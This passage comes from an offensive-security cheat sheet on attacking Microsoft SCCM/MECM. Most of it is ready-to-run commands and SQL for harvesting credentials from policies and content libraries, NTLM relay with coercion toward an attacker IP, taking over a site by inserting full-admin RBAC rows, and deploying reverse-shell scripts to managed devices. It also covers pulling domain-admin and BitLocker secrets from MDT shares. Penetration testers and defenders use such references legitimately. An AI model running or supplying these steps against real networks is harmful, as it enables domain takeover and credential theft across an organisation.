python3 SCCMSecrets.py policies --management-point 'https://managementPoint.domain.local' --client-name fake.domain.local --pki-cert ./cert.pem --pki-key ./key.pem --username 'machine$' --password 'password'
```

Exploitation can also be performed via a NTLM relay by relaying a device authentication:

```bash
ntlmrelayx.py -t 'http://managementPoint.domain.local/ccm_system_windowsauth/request' -smb2support --sccm-policies -debug
```

#### Policies pivoting

Policies are linked to the device collections a device is member of. When a new device is compromised, it can be used to request the policies it can access and potentially find new credentials.

To request SCCM policies with an already enrolled device, its GUID (to identify it) and its private key (to sign the requests) are needed.

* The GUID can be found in different log files, like `C:/Windows/CCM/Logs/ClientIDManagerStartup.log` on the machine
* The private key can be extracted from the LSASS memory by previously patching the CNG with Mimikatz, or by dumping it from the SYSTEM [DPAPI](active-directory-python.md#credentials-vault-and-dpapi)

Then, the requests can be performed like this. The folder `CLIENT_DEVICE` must contain two files: `guid.txt` where the GUID is written, and `key.pem` containing the private key:

```bash
python3 SCCMSecrets.py policies -mp 'managementPoint.domain.local' --verbose --use-existing-device CLIENT_DEVICE/
```

### Steals SCCM secret policies via NTLM relay

Setup a NTLM relay to the site database, and coerce the primary site server:

```bash
ntlmrelayx.py -ts -t mssql://siteDatabase.domain.local -socks -smb2support
python3 PetitPotam.py -u user1 -p password -d domain.local <attacker_IP> SCCM-Server.domain.local
```

Then, retrieve the GUID of the object "Unknown Computer x64" in the database:

```sql
SELECT * FROM dbo.UnknownSystem_DISC
```

Or with a request to the HTTP endpoint on the SMS Provider : `/SMS_MP/.sms_aut?MPKEYINFORMATIONMEDIA`

Once the GUID has been retrieved, the policies assigned to it can be retrieved from the MSSQL database via the stored procedure `MP_GetMachinePolicyAssignments`.

```bash
proxychains mssqlclient.py domain.local/SCCM-Server$@siteDatabase.domain.local -windows-auth -db <CM_ID> -command "EXEC MP_GetMachinePolicyAssignments N'$GUID', N''" | tee assignments.txt
```

The result in hexadecimal format must be decoded, then search for `NAAConfig`, `TaskSequence`, and `CollectionSettings`. For each entry, retrieve the `PolicyID` and `PolicyVersion`.

Using these values, you can retrieve the policy content via the `MP_GetPolicyBody` procedure. This operation must be repeated for each policy:

```bash
proxychains mssqlclient.py domain.local/SCCM-Server$@siteDatabase.domain.local -windows-auth -db <CM_ID> -command "exec MP_GetPolicyBody N'{<POLICY_ID>}', N'<POLICY_VERSION>'" |tee NAAConfig.txt
```

Finally, the hex blobs obtained can be decoded, and the `CDATA` parts decrypted with PXEThief:

```bash
echo - -n '3c003f0078006d00<SNIPPED>006f006c006900630079003e000d000a00' |xxd -r -p

python3 pxethief.py 7 <CDATA_BLOB>
```

### SCCM content library

Full explains about these attacks are [here](https://www.synacktiv.com/publications/sccmsecretspy-exploiting-sccm-policies-distribution-for-credentials-harvesting-initial#part_1).

#### Theory

This service hosts the ressources to provide to the SCCM clients (scripts, applications, OS, etc). Everything is hosted in a share named `C:\SCCMContentLib` and can be retrieved either via SMB in an authenticated way, or via HTTP with a specific URL, also with authentication.

However, it appears that sysadmins can configure the **HTTP way to allow unauthenticated access**. In this case, anonyone can download all the packages and search for sensitive data inside.

#### Exploitation

SCCMSecrets.py permits to download all the packages from the Distribution Point through HTTP:

```bash
python3 SCCMSecrets.py files --distribution-point 'distributionPoint.domain.local' --verbose --username 'user1' --password 'password'
```

If the Distribution Point allows unauthenticated requests on its HTTP service, packages can be downloaded without specifying credentials.

Or through a NTLM relay to the HTTP endpoint:

```bash
ntlmrelayx.py -t 'http://distributionPoint.domain.local/sms_dp_smspkg$/Datalib' -smb2support --sccm-dp -debug
```

Cmloot.py is useful for SMB extraction:

```bash
python3 cmloot.py domain/user1@ -findsccmservers -target-file sccmhosts.txt -cmlootdownload sccmfiles.txt
```

Note that, this part is independent from secret policies request: it is possible to retrieve the packages even if no device enrolment has been performed.

## SCCM primary site takeover

The primary site server's computer account is member of the local Administrators group on the site database server and on every site server hosting the "SMS Provider" role in the hierarchy. This means it is possible to coerce the primary site server authentication and relay it to the database server and obtain an administrative access. [Some requirements](https://www.thehacker.recipes/ad/movement/sccm-mecm#sccm-site-takeover) must be reached to exploit this scenario. Full explains [here](https://posts.specterops.io/sccm-site-takeover-via-automatic-client-push-installation-f567ec80d5b1) and [here](https://posts.specterops.io/site-takeover-via-sccms-adminservice-api-d932e22b2bf).

### Relay to the site database server

#### Windows

```powershell
# Retrieve the controlled user SID in HEX format
.\SharpSCCM.exe get user-sid

# Setup a NTLM relay server to MSSQL or SMB
    # targetting MS-SQL
ntlmrelayx.py -t "mssql://siteDatabase.domain.local" -smb2support -socks
    # targeting SMB
ntlmrelayx.py -t "smb://siteDatabase.domain.local" -smb2support -socks

# Coerce the primary site server authentication via Client Push Installation
.\SharpSCCM.exe invoke client-push -mp "SCCM-Server" -sc "<site_code>" -t "attacker.domain.local"
```

With a MSSQL socks open, an `mssqlclient` session can be obtained:

```bash
proxychains mssqlclient.py "DOMAIN/SCCM-Server$"@"siteDatabase.domain.local" -windows-auth
```

And the following SQL query can be executed to grant full privileges to the controlled user on the SCCM primary site:

```sql
--Switch to site database
use CM_<site_code>

--Add the SID, the name of the current user, and the site code to the RBAC_Admins table
INSERT INTO RBAC_Admins (AdminSID,LogonName,IsGroup,IsDeleted,CreatedBy,CreatedDate,ModifiedBy,ModifiedDate,SourceSite) VALUES (<SID_in_hex_format>,'DOMAIN\user',0,0,'','','','','<site_code>');

--Retrieve the AdminID of the added user
SELECT AdminID,LogonName FROM RBAC_Admins;

--Add records to the RBAC_ExtendedPermissions table granting the AdminID the Full Administrator (SMS0001R) RoleID for the “All Objects” scope (SMS00ALL), 
--the “All Systems” scope (SMS00001), 
--and the “All Users and User Groups” scope (SMS00004)
INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID) VALUES (<AdminID>,'SMS0001R','SMS00ALL','29');
INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID) VALUES (<AdminID>,'SMS0001R','SMS00001','1');
INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID) VALUES (<AdminID>,'SMS0001R','SMS00004','1');
```

#### Linux

```bash
# Print the stacked MSSQL queries for the user SID to escalate
python3 sccmhunter.py mssql -u user1 -p password -d domain.local -dc-ip <DC_IP> -tu user2 -sc <site_code> -stacked

# Run ntlmrelayx.py with the stacked query to execute
ntlmrelayx.py -t "mssql://siteDatabase.domain.local" -smb2support -q <query>

# Or targeting SMB
ntlmrelayx.py -t "smb://siteDatabase.domain.local" -smb2support -socks
```

Post exploitation via SCCM can now be performed on the network.

### Relay to the SMS Provider server

If the HTTP API is accessible on the SMS Provider server, setup `ntlmrelayx` with [this PR](https://github.com/fortra/impacket/pull/1593) to add user1 as a new SCCM admin:

```bash
ntlmrelayx.py -t https://smsprovider.domain.local/AdminService/wmi/SMS_Admin -smb2support --adminservice --logonname "DOMAIN\user1" --displayname "DOMAIN\user1" --objectsid <user1_SID>
```

And coerce the primary site server via client push, PetitPotam, PrinterBug ou whatever.

### Relay from a passive to the active site server

When high availability in required, it is possible to find a [passive site server](https://learn.microsoft.com/en-us/mem/configmgr/core/servers/deploy/configure/site-server-high-availability) that will be used only if the active site server stop working. Its machine account **must** be a member of the local Administrators group on the active site server.

Setup a NTLM relay pointing to the active server and coerce an authentication from the passive server.

```bash
ntlmrelayx.py -t activeServer.domain.local -smb2support -socks
```

Then, through the proxy socks session, dump the SAM and LSA with `secretsdump.py`. The active site server must be a member of the SMS Provider administrators (it is member of the `SMS Admins` group), its credentials can be used to add a new controlled user to the `Full Admin` SCCM group.

```bash
python3 sccmhunter.py admin -u activeServer$ -p :<nthash> -ip <SMS_Provider>

() (C:\) >> add_admin controlledUser <controlledUser_SID>
() (C:\) >> show_admins
```

## Post exploitation

### CMPivot Service Abuse

The **CMPivot** service, presents on the MP server, permits to enumerate all the resources (installed softwares, local administrators, hardware specification, and so on) of a computer, or a computer collection, and perform administrative tasks on them. It uses the HTTP REST API named **AdminService** provided by the SMS Provider server.

With SCCM administrative rights, it is possible to directly interact with the **AdminService** API, without using CMPivot, for post SCCM exploitation enumeration.

#### Windows

```powershell
#Retrieve the ID of the ressource to enumerate
.\SharpSCCM.exe get resource-id -d "COMPUTER"

#Enumerate the local administrators
.\SharpSCCM.exe invoke admin-service -r <resource_ID> -q "Administrators" -j

#Enumerate the installed softwares
.\SharpSCCM.exe invoke admin-service -r <resource_ID> -q "InstalledSoftware" -j
```

#### Linux

```bash
# Authenticate to the AdminService API
python3 sccmhunter.py admin -u user1 -p password -ip <SMS_IP>

# Retrieve information about a target device and interact with it
() C:\ >> get_device target
() (C:\) >> interact <target_ID>

# Then, enumerate resources with built-in requests
(<target_ID>) (C:\) >> ls
(<target_ID>) (C:\) >> administrators
(<target_ID>) (C:\) >> help
...
```

### Applications and scripts deployment

#### Windows

With sufficient rights on the central SCCM server (rights on WMI), it is possible to deploy applications or scripts on the AD computers (SYSTEM on the server basically, to have rights on WMI) with **SharpSCCM** or **PowerSCCM**:

* With SharpSCCM

```powershell
#Retrieve computers linked to the SCCM server
./SharpSCCM.exe get devices -w "Active=1 and Client=1"

#Execute a binary on a target device
./SharpSCCM.exe exec -d <target_device> -p bin.exe

#Execute a PS command on a target device
./SharpSCCM.exe exec -d <target_device> -p "powershell <ps_cmd>"

#Coerce a NTLM authentication from a domain user
#The user is the primary user of the device
#With no user specified, the NTLM authentication will come from the logged on user
#Add --run-as-system to obtain the computer account authentication instead
./SharpSCCM.exe exec -u DOMAIN\user1 -r <attacker_IP>
```

* With PowerSCCM

```powershell
#Create SCCM Session with WMI
Find-SccmSiteCode -ComputerName <SCCM_computer>
New-SccmSession -ComputerName <SCCM_computer> -SiteCode <site_code> -ConnectionType WMI

#Retrieve computers linked to the SCCM server
Get-SccmSession | Get-SccmComputer

#Create a computer collection
Get-SccmSession | New-SccmCollection -CollectionName "col" -CollectionType "Device"

#Add computer to the collection
Get-SccmSession | Add-SccmDeviceToCollection -ComputerNameToAdd "<computer>" -CollectionName "col"

#Create an app to deploy
Get-SccmSession | New-SccmApplication -ApplicationName "<application_name>" -PowerShellB64 "<powershell_script_in_B64>"

#Create an app deployment with the app and the collection previously created
Get-SccmSession | New-SccmApplicationDeployment -ApplicationName "<application_name>" -AssignmentName "assig" -CollectionName "col"

#Force the machine in the collection to check the app update (and force the install)
Get-SccmSession | Invoke-SCCMDeviceCheckin -CollectionName "col"
```

If application deployement doesn't work, it is worth to test CMScript deployement (deploy a script instead of an app). **PowerSCCM** also permits to do it with this [PR](https://github.com/PowerShellMafia/PowerSCCM/pull/6) :

```powershell
New-CMScriptDeployement -CMDrive '<new_drive_name>' -ServerFQDN '<SCCM_server_FQDN>' -TargetDevice '<target_FQDN>' -Path '.\reverse.ps1' -ScriptName 'EvilScript'
```

#### Linux

With sufficient rights over the `AdminService` API it is possible to create an approval administrator and deploy scripts.

```bash
# Open a session over the AdminService API
python3 sccmhunter.py admin -u user1 -p password -ip <SMS_IP>
# Promote as admin a controlled account
() C:\ >> add_admin user2 <account_SID>

# Reauthenticate and specify the new admin as an approval admin
python3 sccmhunter.py admin -u user1 -p password -ip <SMS_IP> -au user2 -ap password2
# Select a target via it's SCCM ID and deploy a PowerShell script on it
() C:\ >> get_device TARGET
() C:\ >> interact <target_ID>
(<target_ID>) (C:\) >> script /home/user1/add_local_admin.ps1
```

## Credentials extraction from MDT Shares

Credentials extraction from MDT Shares is presented in great details [here](https://trustedsec.com/blog/red-team-gold-extracting-credentials-from-mdt-shares).

[The server hosting the MDT shares should run the WDS service](https://hideandsec.sh/books/windows-sNL/page/mdt-where-are-you). This one can be identified in the LDAP directory with [this](https://github.com/BlWasp/WDSFinder) (available on Linux and Windows):

```bash
./WDSFinder --username user1 --password password --ip DC_IP
```

Additionally, tThe MDT Shares presence on the network can be identified with the following registry key on any enrolled computer : `HKLM\Software\Microsoft\Deployment 4\` (it will not indicate where the share lies, but only that a MDT Share is present).

If the MDT Share allows read access with owned users, it can provide many sensitive credentials, used during application and system deployments. Files where credentials can be found :

* **Bootstrap.ini** - Located in `DeploymentShare\Control\Bootstrap.ini`
* **CustomSettings.ini** - Located in `DeploymentShare\Control\CustomSettings.ini`

| Name                                         | What is it for?                                                    |
|----------------------------------------------|--------------------------------------------------------------------|
| DomainAdmin                                  | Account used to join the computer to the domain                    |
| DomainAdminPassword                          | Password used to join the computer to the domain                   |
| UserID                                       | Account used for accessing network resources                       |
| UserPassword                                 | Password used for accessing network resources                      |
| AdminPassword                                | The local administrator account on the computer                    |
| ADDSUserName (never seen this used)          | Account used when promoting to DC during deployment                |
| ADDSPassword (never seen this used)          | Password used when promoting to DC during deployment               |
| Password                                     | Password to use for promoting member server to a domain controller |
| SafeModeAdminPassword (never seen this used) | Used when deploying DCs, it is the AD restore mode password        |
| TPMOwnerPassword                             | The TPM password if not set already                                |
| DBID                                         | Account used to connect to SQL server during deployment            |
| DBPwd                                        | Password used to connect to SQL server during deployment           |
| OSDBitLockerRecoveryPassword                 | BitLocker recovery password                                        |

* TaskSequences (with possible credentials) are stored in `DeploymentShare\Control\<TASKSEQUENCE_NAME>\ts.xml`
* The `unattend.xml` file can be in `DeploymentShare\Control\<TASKSEQUENCE_NAME>\unattend.xml`
* Custom scripts and applications are generally (but not mandatory) in `DeploymentShare\Scripts` and `DeploymentShare\Applications`

## References

- [Misconfiguration Manager](https://github.com/subat0mik/Misconfiguration-Manager)
- [SCCM / MECM - The Hacker Recipes](https://www.thehacker.recipes/ad/movement/sccm-mecm)
- [Active Directory Spotlight: Attacking The Microsoft Configuration Manager (SCCM/MECM) - C. Sandker](https://www.securesystems.de/blog/active-directory-spotlight-attacking-the-microsoft-configuration-manager/)
- [Push Comes To Shove: exploring the attack surface of SCCM Client Push Accounts - Trimarc](https://www.hub.trimarcsecurity.com/post/push-comes-to-shove-exploring-the-attack-surface-of-sccm-client-push-accounts)
- [Offensive Operations with PowerSCCM - enigma0x3](https://enigma0x3.net/2016/02/)
- [Exploring SCCM by Unobfuscating Network Access Accounts - Adam Chester](https://blog.xpnsec.com/unobfuscating-network-access-accounts/)
- [SpecterOps](https://posts.specterops.io)
- [SCCMSecrets.py: exploiting SCCM policies distribution for credentials harvesting, initial access and lateral movement - Synacktiv](https://www.synacktiv.com/publications/sccmsecretspy-exploiting-sccm-policies-distribution-for-credentials-harvesting-initial)
- [TrustedSec's blog](https://trustedsec.com/blog/)
- [NetExec wiki](https://www.netexec.wiki/)